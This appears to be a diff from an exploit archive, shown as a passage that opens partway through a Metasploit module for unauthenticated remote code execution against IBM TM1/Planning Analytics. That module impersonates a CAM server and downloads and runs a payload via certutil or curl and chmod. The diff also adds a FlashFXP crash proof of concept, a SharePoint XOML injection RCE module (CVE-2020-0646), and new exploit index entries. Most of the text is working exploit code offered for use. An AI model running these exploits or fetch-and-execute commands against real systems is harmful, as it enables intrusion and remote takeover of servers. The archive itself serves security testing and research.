pkt_control = pack_sz(pkt_control.length + 2) + pkt_control + data = sock_rw(sock, pkt_control) + disconnect + + if data + # now process the response + apps = [] + + data = str_unpack(data) + + # ignore packet header (4 bytes) + data.shift(PKT_HDR.length) + + # now just go through the list we received, sample format below + # "24retail","tcp","10.11.12.123","17414","1460","1","127.0.0.1,127.0.0.1,127.0.0.1","1","0","","","","0","","0","","ipv4","22","0","2","http://centos7.doms.com:8014","8014" + # "GO_New_Stores","tcp","10.11.12.123","45557","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","23","0","2","https://centos7.doms.com:5010","5010" + # "GO_Scorecards","tcp","10.11.12.123","44321","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:44312","44312" + # "Planning Sample","tcp","10.11.12.123","12345","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:12354","12354" + # "proven_techniques","tcp","10.11.12.123","53333","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:5011","5011" + # "SData","tcp","10.11.12.123","12346","1460","0","127.0.0.1,127.0.0.1,127.0.0.1","1","1","","","","0","","0","","ipv4","22","0","2","https://centos7.doms.com:8010","8010" + while data != nil and data.length > 2 + # skip the marker (0x0, 0x5) that indicates the start of a new app + data = data[2..-1] + + # read the size and fetch the data + size = (data[0..1].pack('C*').unpack('H*')[0].to_i(16)) + data_next = data[2+size..-1] + data = data[2..size] + + # first is application name + app_name = get_str(data) + + # second is protocol, we don't care + proto = get_str(data) + + # third is IP address + ip = get_str(data) + + # app port + port = get_str(data) + + # mtt maybe? don't care + mtt = get_str(data) + + # not sure, and don't care + unknown = get_str(data) + + # localhost addresses? again don't care + unknown_addr = get_str(data) + + # I think this is the accepting clients flag + accepts = get_str(data) + + # and this is a key one, the SSL flag + ssl = get_str(data) + + # the leftover data is related to the REST API *I think*, so we just ignore it + + print_good("Found app #{app_name} #{proto} ip: #{ip} port: #{port} available: #{accepts} SSL: #{ssl}") + apps.append([app_name, proto, ip, port.to_i, accepts.to_i, ssl.to_i]) + + data = data_next + end + else + fail_with(Failure::Unknown, 'Failed to obtain application data from the admin server') + end + + # now pick a random application server that is accepting clients via TCP + app = apps.sample + total = apps.length + count = 0 + + # TODO: check for null return here, and probably also response size > 0x20 + while app[1] != "tcp" and app[4] != 1 and count < total + app = apps.sample + count += 1 + end + + if count == total + fail_with(Failure::Unknown, 'Failed to find an application we can attack') + end + print_status("Picked #{app[0]} as our target, connecting...") + + else + # else if the user entered an APP_NAME, build the app struct with that info + ssl = datastore['SSL'] + app = [datastore['APP_NAME'], 'tcp', rhost, rport, 1, (ssl ? 1 : 0)] + print_status("Attacking #{app[0]} on #{peer} as requested with TLS #{ssl ? "on" : "off"}") + end + + s = get_socket(app[2], app[3], app[5]) + + # Step 2: get the current app server configuration variables, such as the current auth method used + get_conf = stradd(app[0]) + get_conf += VERSION + auth_get = pkt_build(MSG_TYPES[:get_config], AUTH_OBJ_EMPTY, get_conf) + data = sock_rw(s, auth_get) + auth_current = get_auth(data) + + print_good("Current auth method is #{auth_current}, we're good to go!") + s.close + + # Step 3: start the fake CAM server / exploit server + if payload.arch.include? ARCH_CMD + @pl = '' + else + @pl = generate_payload_exe + end + + # do not use SSL for the CAM server! + if datastore['SSL'] + ssl_restore = true + datastore['SSL'] = false + end + + print_status("Starting up the fake CAM server...") + start_service( + { + 'Uri' => { + 'Proc' => Proc.new { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => '/' + }, + } + ) + datastore['SSL'] = true if ssl_restore + + # Step 4: send the server config update packet, and ignore what it sends back + print_status("Changing authentication method to 4 (CAM auth)") + upd_cent = update_auth(4) + s = get_socket(app[2], app[3], app[5]) + sock_rw(s, upd_cent, true) + s.close + + # Step 5: send the CAM auth request and obtain the authentication object + # app name + auth_pkt = stradd(app[0]) + + auth_pkt += [ 0x7, 0, 0, 0, 3 ] # array with 3 objects + + # passport, can be random + auth_pkt += stradd(rand_text_alpha(5..12)) + + # no idea what these vars are, but they don't seem to matter + auth_pkt += stradd(rand_text_alpha(5..12)) + auth_pkt += stradd(rand_text_alpha(5..12)) + + # client IP + auth_pkt += stradd(lhost) + + # add the client version number + auth_pkt += VERSION + + auth_dist = pkt_build(MSG_TYPES[:auth_cam_pass], AUTH_OBJ_EMPTY, auth_pkt) + + print_status("Authenticating using CAM Passport and our fake CAM Service...") + s = get_socket(app[2], app[3], app[5]) + + # try to authenticate up to AUTH_ATTEMPT times, but usually it works the first try + # adjust the 4th parameter to sock_rw to increase the timeout if it's not working and / or the CAM server is on another network + counter = 1 + res_auth = '' + while(counter < datastore['AUTH_ATTEMPTS']) + # send the authenticate request, but wait a bit so that our fake CAM server can respond + res_auth = sock_rw(s, auth_dist, false, 0.5) + if res_auth.length < 20 + print_error("Failed to authenticate on attempt number #{counter}, trying again...") + counter += 1 + next + else + break + end + end + if counter == datastore['AUTH_ATTEMPTS'] + # if we can't auth, bail out, but first restore the old auth method + s.close + #restore_auth(app, auth_current) + fail_with(Failure::Unknown, "Failed to authenticate to the Application server. Run the exploit and try again!") + end + + auth_obj = obj_extract(res_auth) + + # Step 6: create a Process object + print_status("Creating our Process object...") + proc_obj = obj_extract(sock_rw(s, pkt_build(MSG_TYPES[:proc_create], auth_obj, []))) + + if payload.arch == ["cmd"] + cmd_one = payload.encoded + cmd_two = '' + else + payload_url = "http://#{srvhost}:#{srvport}/" + exe_name = rand_text_alpha(5..13) + if target['Platform'] == 'win' + # the Windows command has to be split amongst two lines; the & char cannot be used to execute two processes in one line + exe_name += ".exe" + exe_name = "C:\\Windows\\Temp\\" + exe_name + cmd_one = "certutil.exe -urlcache -split -f #{payload_url} #{exe_name}" + cmd_two = exe_name + else + # the Linux one can actually be done in one line, but let's make them similar + exe_name = "/tmp/" + exe_name + cmd_one = "curl #{payload_url} -o #{exe_name};" + cmd_two = "chmod +x #{exe_name}; exec #{exe_name}" + end + + register_file_for_cleanup(exe_name) + end + + proc_cmd = + [ 0x3, 0, 0, 2, 0x3c ] + # no idea what this index is + [ 0x7, 0, 0, 0, 2 ] + # array with 2 objects (2 line script) + # the first argument is the command + # the second whether it should wait (1) or not (0) for command completion before returning + stradd("executecommand('#{cmd_one}', #{cmd_two.empty? ? "0" : "1"});") + + stradd("executecommand('#{cmd_two}', 0);") + + # Step 7: add the commands into the process object + print_status("Adding command: \"#{cmd_one}\" to the Process object...") + if cmd_two != '' + print_status("Adding command: \"#{cmd_two}\" to the Process object...") + end + sock_rw(s, pkt_build(MSG_TYPES[:obj_prop_set], [], proc_obj + proc_cmd)) + + # Step 8: register the Process object with a random name + obj_name = rand_text_alpha(5..12) + print_status("Registering the Process object under the name '#{obj_name}'") + proc_obj = obj_extract(sock_rw(s, pkt_build(MSG_TYPES[:obj_register], auth_obj, proc_obj + stradd(obj_name)))) + + # Step 9: execute the Process! + print_status("Now let's execute the Process object!") + sock_rw(s, pkt_build(MSG_TYPES[:proc_exec], [], proc_obj + [ 0x7 ] + [ 0 ] * 4), true) + s.close + + # Step 10: restore the auth method and enjoy the shell! + restore_auth(app, auth_current) + + if payload.arch.include? ARCH_CMD + print_good("Your command should have executed by now, enjoy!") + end + end +end \ No newline at end of file diff --git a/exploits/windows/dos/48269.py b/exploits/windows/dos/48269.py new file mode 100755 index 000000000..52489b1b4 --- /dev/null +++ b/exploits/windows/dos/48269.py @@ -0,0 +1,29 @@ +# Exploit Title: FlashFXP 4.2.0 Build 1730 - Denial of Service (PoC) +# Vendor Homepage: https://www.flashfxp.com/ +# Software Link Download: https://www.filehorse.com/download-flashfxp/22451/download/ +# Exploit Author: Paras Bhatia +# Discovery Date: 2020-03-30 +# Vulnerable Software: FlashFXP +# Version: 4.2.0 Build 1730 +# Vulnerability Type: Denial of Service (DoS) Local +# Tested on: Windows 10 Pro (64 bit) + +#Steps to Produce the Crash: + +# 1.- Run python code: FlashCrash.py +# 2.- Copy content to clipboard +# 3.- Open "FlashFXP.exe" +# 4.- Go to "Options" > Filters > Skip List > New Entry +# 5.- Paste ClipBoard into the "Mask" field +# 6.- Click on OK +# 7.- Go to "Options" > Filters > Skip List +# 8.- Crashed + +################################################################################################################################################# + +#Python "FlashCrash.py" Code: + +buffer = "\x41" * 300 +f = open ("FlashCrash.txt", "w") +f.write(buffer) +f.close() \ No newline at end of file diff --git a/exploits/windows/remote/48275.rb b/exploits/windows/remote/48275.rb new file mode 100755 index 000000000..7757260ac --- /dev/null +++ b/exploits/windows/remote/48275.rb @@ -0,0 +1,142 @@ +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::Powershell + include Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SharePoint Workflows XOML Injection', + 'Description' => %q{ + This module exploits a vulnerability within SharePoint and its .NET backend + that allows an attacker to execute commands using specially crafted XOML data + sent to SharePoint via the Workflows functionality. + }, + 'Author' => [ + 'Spencer McIntyre', + 'Soroush Dalili' + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2020-0646'], + ['URL', 'https://www.mdsec.co.uk/2020/01/code-injection-in-workflows-leading-to-sharepoint-rce-cve-2020-0646/'] + ], + 'Platform' => 'win', + 'Targets' => [ + [ 'Windows EXE Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper } ], + [ 'Windows Command', { 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'Space' => 3000 } ], + [ 'Windows Powershell', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :windows_powershell + ] + ], + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2020-03-02', + 'Notes' => + { + 'Stability' => [CRASH_SAFE,], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION], + }, + 'Privileged' => true + )) + + register_options([ + OptString.new('TARGETURI', [ true, 'The base path to the SharePoint application', '/' ]), + OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKGROUP' ]), + OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]), + OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]) + ]) + end + + def check + res = execute_command("echo #{Rex::Text.rand_text_alphanumeric(4 + rand(8))}") + return CheckCode::Unknown('Did not receive an HTTP 200 OK response') unless res&.code == 200 + + compiler_errors = extract_compiler_errors(res) + return CheckCode::Unknown('No compiler errors were reported') unless compiler_errors&.length > 0 + + # once patched you get a specific compiler error message about the type name + return CheckCode::Safe if compiler_errors[0].to_s =~ /is not a valid language-independent type name/ + + CheckCode::Vulnerable + end + + def extract_compiler_errors(res) + return nil unless res&.code == 200 + + xml_doc = res.get_xml_document + result = xml_doc.search('//*[local-name()=\'ValidateWorkflowMarkupAndCreateSupportObjectsResult\']').text + return nil if result.length == 0 + + xml_result = Nokogiri::XML(result) + xml_result.xpath('//CompilerError/@Text') + end + + def exploit + # NOTE: Automatic check is implemented by the AutoCheck mixin + super + + case target['Type'] + when :windows_command + execute_command(payload.encoded) + when :windows_dropper + cmd_target = targets.select {|target| target['Type'] == :windows_command}.first + execute_cmdstager({linemax: cmd_target.opts['Space']}) + when :windows_powershell + execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)) + end + end + + def escape_command(cmd) + # a bunch of characters have to be escaped, so use a whitelist of those that are allowed and escape the rest as unicode + cmd.gsub(/([^a-zA-Z0-9 $:;\-\.=\[\]\{\}\(\)])/) { |x| "\\u%.4x" %x.unpack('C*')[0] } + end + + def execute_command(cmd, opts = {}) + xoml_data = <<-EOS + + + + + + + + + ]]> + + + + 2 + + + + EOS + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '_vti_bin', 'webpartpages.asmx'), + 'ctype' => 'text/xml; charset=utf-8', + 'data' => xoml_data, + 'username' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }) + + unless res&.code == 200 + print_error('Non-200 HTTP response received while trying to execute the command') + end + + res + end +end \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index b78873661..41e34333b 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -6690,6 +6690,7 @@ id,file,description,date,author,type,platform,port 48236,exploits/ios/dos/48236.py,"ProficySCADA for iOS 5.0.25920 - 'Password' Denial of Service (PoC)",2020-03-23,"Ivan Marmolejo",dos,ios, 48237,exploits/windows/dos/48237.txt,"Google Chrome 80.0.3987.87 - Heap-Corruption Remote Denial of Service (PoC)",2020-03-23,"Cem Onat Karagun",dos,windows, 48259,exploits/windows/dos/48259.py,"Everest 5.50.2100 - 'Open File' Denial of Service (PoC)",2020-03-27,"Ivan Marmolejo",dos,windows, +48269,exploits/windows/dos/48269.py,"FlashFXP 4.2.0 Build 1730 - Denial of Service (PoC)",2020-03-31,"Paras Bhatia",dos,windows, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, @@ -18065,6 +18066,10 @@ id,file,description,date,author,type,platform,port 48233,exploits/multiple/remote/48233.py,"Broadcom Wi-Fi Devices - 'KR00K Information Disclosure",2020-03-18,"Maurizio S",remote,multiple, 48239,exploits/multiple/remote/48239.txt,"CyberArk PSMP 10.9.1 - Policy Restriction Bypass",2020-03-23,"LAHBAL Said",remote,multiple, 48268,exploits/linux/remote/48268.go,"Multiple DrayTek Products - Pre-authentication Remote Root Code Execution",2020-03-30,0xsha,remote,linux, +48272,exploits/linux/remote/48272.rb,"Redis - Replication Code Execution (Metasploit)",2020-03-31,Metasploit,remote,linux, +48273,exploits/multiple/remote/48273.rb,"IBM TM1 / Planning Analytics - Unauthenticated Remote Code Execution (Metasploit)",2020-03-31,Metasploit,remote,multiple, +48274,exploits/hardware/remote/48274.rb,"DLINK DWL-2600 - Authenticated Remote Command Injection (Metasploit)",2020-03-31,Metasploit,remote,hardware, +48275,exploits/windows/remote/48275.rb,"SharePoint Workflows - XOML Injection (Metasploit)",2020-03-31,Metasploit,remote,windows, 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php, @@ -42514,3 +42519,5 @@ id,file,description,date,author,type,platform,port 48261,exploits/php/webapps/48261.py,"rConfig 3.9.4 - 'searchField' Unauthenticated Root Remote Code Execution",2020-03-27,vikingfr,webapps,php, 48263,exploits/php/webapps/48263.txt,"Joomla! com_fabrik 3.9.11 - Directory Traversal",2020-03-30,qw3rTyTy,webapps,php, 48266,exploits/cgi/webapps/48266.py,"Zen Load Balancer 3.10.1 - Remote Code Execution",2020-03-30,"Cody Sixteen",webapps,cgi, +48270,exploits/hardware/webapps/48270.py,"Grandstream UCM6200 Series CTI Interface - 'user_password' SQL Injection",2020-03-31,"Jacob Baines",webapps,hardware, +48271,exploits/hardware/webapps/48271.py,"Grandstream UCM6200 Series WebSocket 1.0.20.20 - 'user_password' SQL Injection",2020-03-31,"Jacob Baines",webapps,hardware,